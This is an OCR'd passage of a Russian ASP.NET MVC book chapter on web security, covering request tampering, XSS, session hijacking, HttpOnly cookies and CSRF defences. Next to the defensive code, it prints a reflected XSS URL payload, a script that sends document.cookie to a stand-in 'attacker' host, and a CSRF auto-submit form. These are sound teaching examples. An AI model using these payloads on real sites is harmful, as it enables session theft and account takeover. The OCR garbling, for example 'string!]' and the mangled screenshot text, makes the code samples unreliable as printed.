Когда веб-браузер выполняет запрос к URL www. example . сот/path/resource, производится поиск IP-адреса www. example. com в системе DNS, открытие TCP-соединения через порт 80 и отправка следующих данных:
GET /path/resource НТТР/1.1
Host: www.example.com
[пустая строка]
Обычно также передаются некоторые дополнительные заголовки, но выше показано все, что строго необходимо. Веб-сервер отвечает примерно так:
НТТР/1.1 200 ок
Date: Wed, 19 Mar 2008 14:39:58 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain; charset=utf-8
<HTML>
<BODY>
I say, this is a <i>fine</i> web page.
</BODY>
</HTML>
Запрос POST c cookie-наборами
Запросы POST значительно сложнее. Основное их отличие в том, что они могут нести рабочую нагрузку (payload), которая следует за HTTP-заголовками. Ниже приведен пример, на этот раз включающий чуть больше распространенных НТТР-заголовков:
POST /path/resource НТТР/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 Firefox/2.0.0.12
Accept: text/xml,application/xml,*/*;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/somepage.html
Content-Length: 45
Cookie: Cookiel=FirstValue; Cookie2=SecondValue
firstFormField=valuel&secondFormField=value2
446 Часть II. ASP.NET MVC во всех деталях
Рабочая нагрузка — это набор пар “имя/значение”, которые обычно представляют все элементы управления <INPUT> дескриптора <FORM>. Как видите, cookie-наборы передаются в виде разделенных точками с запятой пар в единственном НТТР-заголовке.
Обратите внимание, что строго контролировать время действия cookie-набора нельзя. Несмотря на то что есть возможность установить рекомендуемую дату устаревания cookie-набора, заставить браузер соблюдать эти рекомендации не удастся (браузер может продолжать отправлять данные cookie-набора сколь угодно долго). Если сроки действительности cookie-наборов является важным аспектом модели безопасности, потребуются средства их соблюдения. В главе 11 был приведен пример применения для этого кодов НМАС.
Подделка НТТР-запросов
Наиболее базовый, низкоуровневый уровень отправки произвольного HTTP-запроса состоит в использовании DOS-программы telnet вместо браузера1. Откройте окно командной строки и подключитесь к удаленному хосту через порт 80 с помощью команды telnet www.example.com 80. После этого можно ввести HTTP-запрос, завершив его пустой строкой, и в командном окне в качестве ответа появится результирующая HTML-разметка. Это доказывает, что кто угодно может отправить веб-серверу любой набор заголовков и значений cookie-наборов.
Однако набрать целый HTTP-запрос вручную и не допустить при этом ошибки не всегда просто. Намного легче перехватить действительный запрос веб-браузера и затем модифицировать его. В этом поможет Fiddler— блестящий и совершенно легальный инструмент отладки от Microsoft. Он работает как локальный веб-прокси, так что браузер посылает свои запросы через Fiddler, не напрямую в Интернет. Fiddler может перехватывать и приостанавливать любой запрос, отображая его в дружественном графическом интерфейсе и позволяя редактировать его содержимое перед отправкой. Подробную информацию о загрузке и установке инструмента Fiddler ищите по адресу www. f iddlertool. сот/.
Например, если на плохо спроектированный веб-сайте доступ к средствам администрирования контролируется посредством cookie-набора isAdmin (со значениями true и false), можно было бы легко получить административный доступ, просто изменив в Fiddler значение cookie-набора любого запроса (рис. 13.1).
Рис. 13.1. Применение Fiddler для редактирования активного НТТР-запроса
1 По умолчанию в ОС Windows Vista и Windows 7 программа telnet не устанавливается. Чтобы установить ее. щелкните на значке Программы и компоненты в панели управления. В открывшемся окне щелкните на ссылке Включение или отключение компонентов Windows и затем отметьте флажок Клиент Telnet.
Глава 13. Безопасность и уязвимость 447
Аналогичным образом можно было бы отредактировать данные полезной нагрузки в запросе POST, чтобы не выполнялась проверка достоверности на стороне клиента или отправлялась поддельная информация Request.UrlReferrer. Хотя Fiddler является мощным универсальным средством для манипуляций запросами и ответами HTTP, существуют и более простые способы редактирования определенных вещей.
•	Firebug — замечательное бесплатное средство редактирования для браузера Firefox, особенно незаменимое для тех, кто пишет код JavaScript. Одна из многих вещей, которую можно делать с его помощью — это просматривать и модифицировать объектную модель документа (DOM) любой загруженной в браузер страницы. Разумеется, зто означает возможность редактирования значений полей, независимо от того, являются они скрытыми, отключенными или подверженными проверке достоверности посредством JavaScript. Аналогичные инструменты доступны и для Internet Explorer2, но Firebug — один из лучших.
•	Web Developer Toolbar — еще один подключаемый модуль для Firefox. Помимо прочего, он позволяет просматривать и редактировать значения cookie-наборов и мгновенно делать все поля формы доступными для записи.
Если не относиться к каждому отдельному HTTP-запросу с подозрением, можно открыть злонамеренному или любопытному посетителю доступ к чужим данным или позволить выполнять неавторизованные действия, просто изменяя строку запроса, данные формы или данные cookie-набора. Ваша задача состоит не только в том, чтобы предотвратить манипуляции запросами или ожидать, что ASP.NET MVC сможет сделать зто за вас, но и в том, чтобы обеспечить проверку легитимности операций зарегистрированного пользователя. За более подробными сведениями о настройке регистрационных записей пользователей и ролей обращайтесь в главу 15. Те редкие случаи, когда необходимо предотвратить манипуляции запросами, рассматриваются в примере применения кодов НМАС в главе 11.
Давайте теперь рассмотрим “реальные” векторы атак, превалирующих в наши дни, и способы противостояния им в приложениях MVC.
Межсайтовые сценарии и внедрение HTML-кода
Выше было показано, как злоумышленник может посылать непредвиденные НТТР-запросы непосредственно на сервер. Более изощренная стратегия атак заключается в том, чтобы заставить браузер другого посетителя посылать непредвиденные НТТР-запросы вместо себя, обходя отношения идентичности, уже установленные между приложением и жертвой.
Межсайтовые сценарии (XSS) — это одна из наиболее известных и распространенных проблем безопасности, затрагивающих современные веб-приложения. На момент написания книги она позиционировалась проектом OWASP (Open Web Application Security Project — Открытый проект безопасности веб-приложений) как главная проблема безопасности веб-приложений3, а в выпущенном компанией Symantec в 2007 г.
2 Одним из таких инструментов является internet Explorer Developer Toolbar, доступный по адресу http: //tinyurl. com/2vaa52 или http: //www.microsoft. com/ down loads/details. aspx?familyid=e59c3964-672d-4511-bb3e-2d5eldb91038&displaylang=en. (He следует переоценивать значение чистых URL. В действительности важны только корректные идентификаторы GUID.)
3 Список 10 важнейших угроз безопасности доступен по адресу www.owasp.org/index.php/ Тор_10_2007.
448 Часть II. ASP.NET MVC во всех деталях
отчете “Internet Security Threat Report” (Отчет по угрозам безопасности в Интернете) было указано, что XSS составляет 80% всех документированных угроз.
Теория проста: если злоумышленник может заставить сайт вернуть посетителям некоторый произвольный JavaScript-код, то его сценарий может захватить контроль над сеансами браузеров этих посетителей. Злоумышленник может затем динамически модифицировать DOM-модель, полностью изменив веб-сайт либо аккуратно внедрив другое содержимое, а также может немедленно перенаправлять посетителей на какой-то другой веб-сайт. Вдобавок злоумышленник может молча перехватывать конфиденциальные данные (пароли или информацию кредитных карт) или, пользуясь доверием посетителей к домену, обманным путем заставить их установить вредоносное ПО на свои компьютеры.
Ключевой фактор заключается в том, что если злоумышленник заставит ваш сервер вернуть сценарий самого злоумышленника другому посетителю, то этот сценарий будет запущен в контексте безопасности вашего домена. Добиться этого можно двумя способами.
•	Постоянный способ, когда злоумышленник набирает тщательно сформированный вредоносный ввод в некотором интерактивном средстве (таком как доска объявлений), в надежде, что вы сохраните его в базе данных и затем раздадите другим посетителям.
• Непостоянный, или пассивный способ, когда злоумышленник отыскивает путь отправки вредоносных данных в запросе к вашему приложению и заставляет приложение возвращать эти данные обратно в ответе. После этого злоумышленник находит способ заставить жертву выполнить такой запрос.
На заметку! Браузер Internet Explorer 8 пытается обнаружить и блокировать ситуации, когда вебсервер выдает эхо-ответ (или отражает) в виде кода JavaScript немедленно после межсайтового запроса. Теоретически это должно снизить вероятность пассивных атак XSS. Однако это не исключает риска: технология еще не проверена в реальных условиях, она не блокирует постоянных атак XSS, да и не все посетители будут пользоваться Internet Explorer 8.
Чтобы ознакомиться с менее распространенными способами выполнения пассивных атак XSS, исследуйте разделение HTTP-ответа, закрепление (pinning) DNS и целое множество междоменных ошибок браузеров. Такие атаки относительно редки, и производить их намного труднее.
Пример уязвимости XSS
При реализации корзины для покупок в приложении SportsStore (см. главу 5) мы тщательно избегали решений, порождающих уязвимость XSS. Ранее об этом не упоминалось, но наступило время посмотреть, что могло пойти не так.
Метод действия Index () контроллера CartController принимает параметр по имени returnUrl и копирует его значение в ViewData. Затем его шаблон действия использует это значение для визуализации простого дескриптора ссылки, который отправляет посетителя обратно к просматриваемой ранее категории товаров. В первоначальном варианте в главе 5 дескриптор ссылки визуализировался следующим образом:
<а href="<%= ViewData["returnUrl"] %>">Continue shopping</a>
Корзина для покупок в действии была показана на рис. 5.9.
Отчет компании Symantec доступен по адресу http: //tinyurl. com/3q9 j 7w.
Глава 13. Безопасность и уязвимость 449
Атака
Несложно заметить, что при такой реализации возникают условия для пассивной уязвимости XSS. Что произойдет, если злоумышленник убедит жертву посетить приведенный ниже URL5?
http: / /ва-шСайт/Cart /Index?returnUrl="+onmouseinove="alert (' XSS ! ' ) "+style=" position:absolute;left:0;top:0;width:100%;height: 100%;
Обратите внимание, что все это один длинный URL. Если проанализировать, каким образом значение returnUrl внедряется в дескриптор <а>, то станет ясно, что у злоумышленника имеется возможность добавлять произвольные атрибуты HTML к дескриптору <а>, причем эти атрибуты могут содержать сценарии. Приведенный выше URL просто демонстрирует уязвимость, выдавая назойливое всплывающее сообщение, как только пользователь переместит курсор мыши где-нибудь на поверхности страницы.
Подобным образом злоумышленник может запускать любые сценарии в контексте безопасности вашего домена, и вы становитесь уязвимыми для всех опасностей, перечисленных ранее. В частности, любой, кто заходит с административными правами, рискует, что его учетная запись будет взломана. Причем опасности подвергается не только одно конкретное приложение, а все приложения, размещенные в этом домене.
На заметку! В этом примере код атаки передается как параметр строки запроса в URL. Однако не думайте, что параметры формы (т.е. параметры POST) в зтом отношении более безопасны: злоумышленник может создать веб-страницу, которая содержит элемент <form>, отправляющий код вашему сайту в виде запроса POST, и затем пригласить потенциальные жертвы посетить зту страницу.
Защита
Основная проблема связана с тем, что приложение выдает эхо-вывод произвольных введенных данных в виде неформатированной HTML-разметки, которая может содержать в себе исполняемые сценарии. Ключевой принцип защиты от XSS можно сформулировать следующим образом: никогда не выводите переданные пользователем данные без предварительного их кодирования.
Кодирование переданных пользователем данных означает трансляцию определенных символов в эквивалентные сущности HTML (например, превращая <b>"Great"</b> в &lt;b&gt; &quot; Great&quot; & lt; /b&gt;). Это гарантирует, что браузер будет трактовать строку как литеральный текст, а не как код разметки, который может включать в себя сценарии. Подобная защита равно эффективна как против постоянных, так и против пассивных атак XSS. К тому же, кодирование осуществляется очень просто: понадобится всего лишь применить метод Html. Encode () .
Чтобы предотвратить описанную выше угрозу, визуализацию дескриптора ссылки следует изменить, как показано ниже:
<а href="<%= Html.Encode(ViewData["returnUrl"]) %>">Continue shopping< =>
Это блокирует атаку! He следует забывать о применении вспомогательного метода Html. Encode () каждый раз, когда выводятся переданные пользователем данные. Единственный пропуск поставит под угрозу весь домен.
5 Эта разновидность “социальной инженерии” не так уж трудна. Злоумышленник может настроить веб-сайт, который просто перенаправит посетителя по данному URL. после чего постарается вызвать интерес к этому сайту у конкретного лица, отправив ему сообщение электронной почты (например, с фразой “Нашел интересные фото вашей жены. См. httpили заманить туда весь мир, организовав рассылку спама.
450 Часть II. ASP.NET MVC во всех деталях
Конечно, предпочтительнее было бы, если бы синтаксис <%= . . .%> предусматривал выполнение кодирования HTML по умолчанию (за исключением вывода вспомогательного метода HTML) и позволял специальным образом помечать те редкие случаи, когда кодирование не требуется. К сожалению, кодирование HTML не является поведением по умолчанию для механизма представлений WebForms, поэтому следует постоянно помнить о необходимости каждый раз вручную писать <%= Html. Encode (...) %>. Обратите внимание, что большинство встроенных вспомогательных методов HTML (Html. ActionLink (), Html. TextBox () и т.п.) автоматически кодируют любые генерируемые ими значения, что исключает необходимость делать это вручную.
Средство проверки достоверности запросов ASP.NET
Если вы работали ранее с ASP.NET, то наверняка использовали другой способ блокировки атак XSS, а именно — проверку достоверности запросов, которая появилась в версии ASP.NET 1.1.
Чтобы понять принцип этой проверки достоверности, следует учесть, что, начиная с версии ASP.NET 1.0, некоторые элементы управления WebForms выполняют автоматическое кодирование HTML своего вывода, а некоторые — нет. Четкий критерий, определяющий то, какие серверные элементы кодируют свой вывод, а какие нет, отсутствует, и вряд ли подобная несогласованность задумывалась изначально. К тому же, это причудливое поведение невозможно изменить, не нарушив совместимости с унаследованными страницами WebForms. Тогда каким же образом команде разработчиков ASP.NET 1.1 удалось обеспечить последовательную защиту от атак XSS?
Решение состояло в полном игнорировании кодирования вывода, вместо которого предпринимались попытки отфильтровать опасные запросы в их источнике. Если опасные запросы не смогут достигнуть приложения ASP.NET, то несогласованности кодирования вывода перестают быть проблемой, и разработчикам, игнорирующим вопросы безопасности, не понадобится учиться защищать свой вывод. В конечном итоге, разработчики из Microsoft реализовали фильтр XSS, который известен под названием проверки достоверности запросов, и включили его по умолчанию. Обнаружив подозрительный ввод, фильтр просто прекращает запрос и отображает сообщение об ошибке, как показано на рис. 13.2.
Э*? Д pc-tentia^ dangerous Reawe=>Form value was detected ffor*-' the cfient &a'ue=*<scnp:>3srnethi - internet Exotorer LS?_' й i	http:- 'tocefhosfc54974-	▼	1
' Server Error in ’/’ Application.
j A potentially dangerous Request. Form value was detected from the client ' (value="<script>something").	;
• Description: necuest VaWteit has detected 8 poicniia^ dancerses cfent Biput vastie, and E-recess'pg st the request iiss teen atcrtes This	-=
> va-ae may stsitaie as? beshx;' to comcrsmee secu-xy of your acpicatsn, such as a cress-site sci-pt^e attack 'ан гал dsabie request
vaSiaacn ty seifcps »a'^as5?eobesi=fatee s? the Page dtrecsve or in ihe cssficurati&n sectcn по.уе-.ег, it tssrongy reccir-mefided thatycur
* sppteascn explicitly check a!' irciits гл this case
/ Exception Details: Sy stem.Wee iiSjzResGesfvaiifiaixr.EzcepBcn. д nater-tiaib dangerous Request Fcnri eafcs was detected frsmihe cgent
' tame*
Рис. 13.2. Проверка достоверности запроса блокирует любой ввод, который содержит HTML-дескриптор
Глава 13. Безопасность и уязвимость 451
Достоинства и недостатки проверки достоверности запросов
Проверка достоверности запросов хорошо выглядит в теории. Иногда она действительно блокирует реальные атаки, защищая сайты, которые в противном случае были бы взломаны. Разумеется, это хорошо.
Однако у медали есть и обратная сторона: проверка достоверности запросов создает у разработчиков ложное ощущение безопасности. За игнорирование разработчиками веб-приложений вопросов, связанных с защитой, впоследствии приходится расплачиваться, поскольку проверка достоверности запросов оказывается неадекватной по перечисленным ниже причинам.
1.	Проверка достоверности запросов препятствует законным пользователям вводить любые данные, которые хоть в малой степени похожи на HTML-дескриптор (наподобие текста “Я пишу код C# с использованием обобщений, например, List<string>” и т.д.). Такой совершенно безобидный запрос подавляется в зародыше. Пользователь не получит сколько-нибудь внятного объяснения: его старательный ввод будет просто отброшен. Это разочаровывает клиентов и вредит репутации разработчиков.
2.	Проверка достоверности запросов блокирует данные в точке их первоначального появления. Она не предоставляет никакой защиты от нефильтрованных данных, поступающих откуда-то еще (например, из другого приложения, которое совместно использует ту же самую базу данных, либо из предыдущей версии текущего приложения за счет импорта).
3.	Проверка достоверности запроса не обеспечивает никакой защиты, когда пользовательский ввод внедряется в HTML-атрибуты или блоки сценариев, как было показано в предыдущем примере с returnUrl.
Довольно часто в реальных проектах приходится видеть, что разработчики полагаются на проверку достоверности запросов, и выпускают свои приложения, не внедряя какой-либо другой вид защиты. Впоследствии менеджеры проектов получают жалобы от законных пользователей, которые не могут ввести некоторый текст с угловыми скобками. Проверка показывает, что так оно в действительности и есть. Для исправления ошибки у программиста нет иного выбора, кроме как отключить проверку достоверности запросов — на одной странице либо во всем приложении. Программист может не осознавать, что его устойчивое к атакам XSS приложение теперь стало уязвимым для них, или, что более вероятно, он осознает это, но уже переключился на другой проект и не может вернуться к предыдущему. В результате весь смысл безопасности сводится на нет, что в долговременной перспективе приводит к еще большей уязвимости вебприложения.
В ASP.NET MVC проверка достоверности запросов по умолчанию включена. Чтобы отключить ее для определенного метода или во всем определенном контроллере, можно воспользоваться фильтром [Validatelnput], как показано ниже:
[Validatelnput(false)]
public class MyController : Controller { . . . }
Обратите внимание, что в ASP.NET MVC отсутствует возможность глобального отключения проверки достоверности запросов в файле web. config, как это можно делать в WebForms установкой параметра <pages validateRequest=" false ">. Эта установка игнорируется. Тем не менее, глобально отключить эту проверку можно в фабрике элементов управления, присваивая значение false свойству ValidateReguest на каждом контроллере при его создании.
452 Часть II. ASP.NET MVC во всех деталях
Оценка соотношения преимуществ проверки достоверности запросов и связанных с ней опасностей возлагается на разработчика. Однако не следует выбирать проверку достоверности запросов как единственное средство защиты. По причинам, описанным ранее, кодирование HTML любого пользовательского ввода по-прежнему остается актуальным. Если кодирование HTML пользовательского ввода реализовано повсеместно, то проверка достоверности запросов защиту не усилит, но неудобства в работе законных пользователей создаст.
Фильтрация HTML с использованием пакета HTML Agility Pack
Иногда реализовать кодирование HTML для всего пользовательского ввода попросту невозможно: переданные данные должны отображаться с использованием избранного перечня безопасных HTML-дескрипторов. В общем случае это очень трудная работа, поскольку существуют сотни неожиданных путей сокрытия опасной разметки в хорошо или плохо оформленной HTML-разметке (по адресу http: //ha. ckers. org/xss.html приведен замечательный список примеров). Для этого недостаточно просто удалить дескрипторы <script>! Каким же образом отличать безопасную и небезопасную HTML-разметку?
На CodePlex (www. codeplex. com/) существует великолепный проект под названием HTML Agility Раск. Это библиотека классов .NET, с помощью которой можно проводить разбор HTML-разметки и довольно точно оценивать, как интерпретировать плохо оформленную HTML-разметку в DOM-подобную древовидную структуру. Инструкции по загрузке и установке доступны по адресу www.codeplex.com/htmlagilitypack/.
В приведенном ниже коде служебного класса HtmlFilter показано, как использовать объект HtmlDocument из пакета HTML Agility Pack для удаления любых HTML-дескрипторов, кроме перечисленных в списке разрешенных. Этот класс можно разместить в любом месте приложения и затем ссылаться на него из представлений MVC. Чтобы приложение скомпилировалось, понадобится добавить ссылку на проект HtmlAgilityPack или на скомпилированную сборку.
Обратите внимание, что единственным возможным выводом (который формируется тремя выделенными строками) будет либо HTML-кодированный дескриптор, либо дескриптор из списка разрешенных.
using HtmlAgilityPack;
public static class HtmlFilter
{
public static string Filter(string html, string!] allowedTags)
{
HtmlDocument doc = new HtmlDocument();
doc.LoadHtml(html);
StringBuilder buffer = new StringBuilder();
Process(doc.DocumentNode, buffer, allowedTags); return buffer.ToString();
}
static string!] RemoveChildrenOfTags = new string!] ( "script", "style" }; static void Process(HtmlNode node, StringBuilder buffer, string!] allowedTags) {
switch (node.NodeType)
{
case HtmlNodeType.Text:
buffer.Append(HttpUtility.HtmlEncode(((HtmlTextNode)node).Text)); break;
case HtmlNodeType.Element:
Глава 13. Безопасность и уязвимость 453
case HtmlNodeType.Document:
bool allowedTag = allowedTags.Contains(node.Name.ToLower());
if (allowedTag)
buffer.AppendFormat("<{0}>", node.Name);
if(!RemoveChiIdrenOfTags.Contains(node.Name)) foreach (HtmlNode childNode in node.ChildNodes) Process(childNode, buffer, allowedTags);
if (allowedTag)
buffer.AppendFormat("</{ 0 } >" , node.Name); break;
}
}
}
Теперь попробуйте поместить в шаблон представления следующую разметку:
<%=HtmlFilter.Filter("<b>Hello</b> <u><i>world</ix/u>
<script>alert(' X');</script>",
new string!] ( "b", "i", "div", "span" }) //разреггить только эти дескрипторы %>
В результате получается хорошо оформленный, отфильтрованный вывод HTML:
<b>Hello</b> <i>world</i>
Как видите, этот фильтр безусловно отбросил все атрибуты дескриптора. Если некоторые атрибуты должны быть разрешены (например, <img src="url">), следует добавить строгую проверку достоверности для этих атрибутов, поскольку существует множество способов внедрения сценариев в обработчики событий, подобные onload и onmouseover, и даже в атрибуты src и style, (см. www.mozilla.org/security/ announce/2006/mfsa2006-72.html).
Это не значит, что пакет HTML Agility Pack идеален и лишен недостатков, но во многих случаях он демонстрирует свою эффективность.
Внимание! Ранее уже отмечалось, но не лишним будет повторить: не стоит изобретать собственный фильтр HTML с нуля! Хотя решение этой задачи вызывает интерес у многих разработчиков, на самом деле чрезвычайно трудно предусмотреть все возможные разновидности плохо оформленной HTML-разметки, приводящие к выполнению сценариев (вроде перечисленных по адресу http: / /ha. ckers.org/xss.html). Любой, кто надеется справиться с этим посредством регулярных выражений, ошибается. Именно потому представленный ранее код основан на использовании проверенного анализатора HTML Agility Pack.
Перехват сеанса
Вы уже видели, что атаки XSS могут позволить злоумышленнику запустить произвольный сценарий в контексте вашего домена. После этого может быть предпринята попытка захватить контроль над регистрационной записью жертвы. Чаще всего применяется стратегия перехвата сеанса (также называемая похищением cookie-наборов).
Во время сеанса браузера ASP.NET идентифицирует посетителя по cookie-набору с идентификатором сеанса (по умолчанию он называется ASP.NET_Sessionld), а если используется аутентификация Forms Authentication — то по cookie-набору аутентификации (по умолчанию он называется . ASPXAUTH). Первый cookie-набор просто содержит GUID-подобную строку, а второй — зашифрованный пакет данных, указывающий идентичность аутентифицированного пользователя. Если злоумышленник сумеет получить значения из любого или из обоих cookie-наборов, то сможет поместить их в собственный браузер и затем восприниматься вашим сервером как законный пользователь.
454 Часть II. ASP.NET MVC во всех деталях
При этом с точки зрения сервера злоумышленник и его жертва становятся неразличимыми. Обратите внимание, что злоумышленнику даже не понадобится расшифровывать .ASPXAUTH.
Изначально предполагается, что никто со стороны не может прочитать cookle-набо-ры, ассоциированные с вашим доменом, потому что они не отправляются ни в какой домен третьей стороны, а современные браузеры достаточно хорошо предотвращают чтение и передачу средствами JavaScript информации через границы домена. Но если злоумышленник сможет выполнить JavaScript-код в контексте вашего домена, то ему не составит большого труда прочитать эти cookie-наборы и получить нужные сведения:
<script>
var img = document.createElement("IMG");
img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie); document.body.appendChild(img);
</script>
Как бы тщательно не ликвидировались уязвимости к атакам XSS, никогда нельзя гарантировать их полное отсутствие. Вот почему всегда имеет смысл устанавливать дополнительный уровень защиты от перехвата сеансов.
Защита с помощью проверки IP-адреса клиента
Если фиксировать IP-адрес каждого клиента при запуске сеанса, то можно будет отклонять любые запросы, поступающие от чужого IP-адреса. Это значительно уменьшает угрозу перехвата сеансов.
Недостаток этого приема связан с тем, что иногда существуют совершенно законные основания для изменения IP-адреса клиента во время существования сеанса. Например, после неожиданного разрыва соединения с поставщиком Интернет-услут и последующей установки нового соединения клиенту может быть назначен другой IP-адрес. Или поставщик Интернет-услут может пропускать HTTP-трафик через набор прокси-серверов, балансирующих нагрузку, так что каждый запрос в сеансе может поступать с какого-то другого IP-адреса.
Требовать неизменность IP-адреса клиента имеет смысл только в корпоративных сетях, когда известно, что сеть может обеспечить такое постоянство. В общедоступных сетях наподобие Интернета такого подхода следует избегать.
Защита с помощью установки флага HttpOnly для cookie-наборов
В 2002 г. в Microsoft решили добавить в Internet Explorer важное средство обеспечения безопасности: cookie-наборы HttpOnly. С тех пор это средство стало стандартом де-факто и поддерживается в браузере Firefox, начиная с версии 2.0.0.5 (июль 2007 г.).
Положенная в основу идея проста: cookie-набор помечается флагом HttpOnly, и браузер скрывает его существование от JavaScript-ко да, но продолжает передавать в HTTP-запросах. Это предотвращает упомянутый ранее взлом XSS методом чтения cookie-наборов в контексте вашего домена и то же время позволяет применять cookie-наборы для отслеживания сеансов и аутентификации веб-сервером.
Возьмите на вооружение простое правило: помечайте все уязвимые cookie-наборы флагом HttpOnly, если только нет какой-то специфической и редкой причины обращаться к ним из клиентского JavaScript-кода. В ASP.NET по умолчанию помечаются флагом HttpOnly cookie-наборы ASP.NET_SessionId и .ASPXAUTH. Пометка этим флагом других cookie-наборов осуществляется следующим образом:
Глава 13. Безопасность и уязвимость 455
Response.Cookies.Add(new HttpCookie("MyCookie") {
Value = "my value",
HttpOnly = true
});
Этот способ не обеспечивает абсолютную защиту от похищения cookie-набора, так как содержимое последнего может быть где-то непреднамеренно раскрыто. Например, при наличии страницы обработки ошибок, которая для целей отладки отображает входящие HTTP-заголовки, межсайтовый сценарий может легко вызвать ошибку и прочитать значения cookie-набора со страницы ответа.
Межсайтовая подделка запросов
Всецело сосредоточиваясь на атаках XSS, многие веб-разработчики не обращают внимания на равно деструктивную и даже более простую форму атаки межсайтовой подделкой запросов (CSRF). Это настолько простая и очевидная методика проведения атак, что ею часто пренебрегают.
Рассмотрим веб-сайт, который позволяет зарегистрированным пользователям входить и управлять своим профилем через контроллер по имени UserProf ileController:
public class UserProfileController : Controller
{
public ViewResult Edit() {
// Опущено: заполнение ViewData деталями профиля, // чтобы он мог быть визуализирован представлением return View();
}
public ViewResult SubmitUpdate()
{
I/ Получение существующих данных пользовательского профиля (реализация опущена) ProfileData profile = GetLoggedlnUserProfile();
// Обновление объекта пользователя
profile.EmailAddress = Request.Form["email"];
profile.FavoriteHobby = Request.Form["hobby"];
SaveUserProfile(profile);
TempData["message"] = "Your profile was updated."; // Профиль обновлен return View () ;
}
}
Сначала посетители обращаются к методу действия Edit (), отображающему текущие детали профиля на форме <f orm>, которая, в свою очередь, отправляет их обратно в SubmitUpdate (). Метод действия SubmitUpdate () получает отправленные данные и сохраняет их в базе данных сайта. Уязвимости XSS исключены.
Атака
На первый взгляд, код выглядит вполне безобидно, поскольку является типичным при решении задач подобного рода. Однако, к сожалению, любой злоумышленник может предпринять опустошительную атаку, сумев убедить одного из пользователей сайта посетить следующую HTML-страницу, расположенную в некотором внешнем домене:
456 Часть II. ASP.NET MVC во всех деталях
<body onload="document.getElementByld('fml').submit()">
<form id="fml" action="http://yoursite/UserProfile/SubmitUpdate" method="post"> cinput name="email" value="hacker@somewhere.evil" /> cinput name="hobby" value="Defacing websites" />
c/form>
</body>
После загрузки эта вредоносная страница просто передает отправленную форму на обработку методу действия Submi tUpdate (). Если исходить из того, что на сайте реализована некоторая система аутентификации на основе cookie-наборов, и у посетителя имеется в данный момент действующий cookie-набор аутентификации, браузер отправит его в запросе, а сервер предпримет действие в ответ на запрос, как если бы этот запрос запускался жертвой. Аналогично уязвима и аутентификация Windows. Теперь в качестве адреса электронной почты в профиле жертвы установлен тот, что находится под контролем злоумышленника. Затем злоумышленник может воспользоваться средством восстановления забытого пароля и получить доступ к регистрационной записи со всей ее конфиденциальной информацией или административными привилегиями, которыми она обладает.
Вредоносная страница может легко скрыть свои действия, например, молча отправив запрос POST с помощью Ajax (через XMLHttpRequest).
Если этот пример не кажется вам убедительным, то подумайте о других действиях, которые может выполнить приложение, выдав единственный HTTP-запрос. Возможно, это будет покупка товара, удаление какого-то элемента, проведение финансовой транзакции, публикация статьи, увольнение кого-либо из персонала, а то и вовсе запуск ракеты.
Защита
Существуют две основные стратегии защиты от атак CSRF.
•	Проверка достоверности входящего HTTP-заголовка Referer. При выполнении любого HTTP-запроса большинство веб-браузеров настроены так, чтобы передавать исходный URL в HTTP-заголовке под названием Referer (в ASP.NET он представлен свойством Request .UrlReferrer (причем здесь слово “referrer” написано правильно)). Если в результате его проверки обнаруживается, что он ссылается на неожиданный чужой домен, это означает, что поступил межсайтовый запрос.
Однако браузеры не обязаны посылать этот заголовок, и некоторые пользователи отключают его отправку, чтобы защитить конфиденциальность. Кроме того, иногда злоумышленникам удается подделать заголовок Referer в зависимости от версии установленного у потенциальной жертвы браузера и программы Flash. Таким образом, проверка достоверности входящего HTTP-заголовка Referer является слабым решением.
•	Включение в уязвимые запросы специфичного для пользователя маркера. Если вы требуете от своих пользователей ввода пароля в каждой форме, то никто посторонний не сможет подделать межсайтовые отправки (поскольку ему не известен пароль регистрационной записи пользователя). Однако это приведет к возникновению серьезных неудобств в работе законных пользователей. Лучший вариант состоит в том, чтобы заставить сервер генерировать секретный маркер, специфичный для пользователя, поместить его в скрытое поле формы и затем проверять его наличие и корректность при отправке формы. В ASP.NET MVC имеется готовая реализация этой стратегии.
Глава 13. Безопасность и уязвимость 457
Предупреждение атак CSRF с помощью противоподделочных вспомогательных методов
Обнаруживать и блокировать атаки CSRF можно за счет комбинирования вспомогательного метода Html. AntiForgeryToken () из ASP.NET MVC и его фильтра [ValidateAntiForgeryToken]. Чтобы защитить определенную HTML-форму, включите в нее вызов метода Html .AntiForgeryToken (), например:
<% using(Html.BeginForm()) { %>
<%= Html.AntiForgeryToken() %>
<!— остальная часть формы —> <о_ 1	9- 'ч.
О j ох
Результирующая разметка выглядит следующим образом:
<form action="/UserProfile/SubmitUpdate" method="post" >
<input name="__RequestVerificationToken" type="hidden" value="knZoDDmrZbX..." /> <1— rest of form goes here —>
</form>
В то же время вспомогательный метод Html .AntiForgeryToken () предоставит посетителю cookie-набор, имя которого начинается с_RequestVerif icationToken. Этот
cookie-набор будет содержать то же самое случайное значение, что и соответствующее скрытое поле. Это значение остается постоянным на протяжении всего сеанса браузера посетителя.
Затем необходимо проверить достоверность отправок форм, добавив для этого атрибут [ValidateAntiForgeryToken] к целевому методу действия. Например:
[AcceptVerbs(HttpVerbs.Post)] [ValidateAntiForgeryToken]
public ViewResult SubmitUpdate() {
// Остальной код без изменений
}
[ValidateAntiForgeryToken ] — это фильтр авторизации, который проверяет наличие во входящем запросе элемента Request. Form по имени_RequestVerif icationToken,
факт поступления запроса с cookie-набором, имеющим соответствующее имя, а также совпадение их значений. Если одна из перечисленных проверок не проходит, генерируется исключение с сообщением ‘A required anti-forgery token was not supplied or was invalid” (Обязательный противоподделочный маркер отсутствует или неверен) и запрос блокируется.
Такая реализация препятствует атакам CSRF, поскольку даже если потенциальная жертва имеет активный cookie-набор_RequestVerificationToken, злоумышленник
не будет знать его случайное значение, а потому не сможет применить правильный маркер в скрытом поле формы. Законные пользователи не почувствуют неудобств, так как механизм полностью прозрачен.
Совет. Если различные HTML-формы в веб-приложении должны защищаться независимо друг от друга, необходимо задать начальное значение (salt) в скрытом поле формы (например, <%= Html. AntiForgeryToken ("userProf ile") %>) и соответствующее значение в фильтре авторизации (например, [ValidateAntiForgeryToken (Salt="userProfile") J). Эти начальные значения имеют вид произвольных строк. Разные начальные значения означают генерацию различных маркеров, поэтому даже если злоумышленник каким-то образом заполучит противоподделочный маркер приложения, то не сможет повторно использовать ее где-либо еще, где требуется другое начальное значение.
458 Часть II. ASP.NET MVC во всех деталях
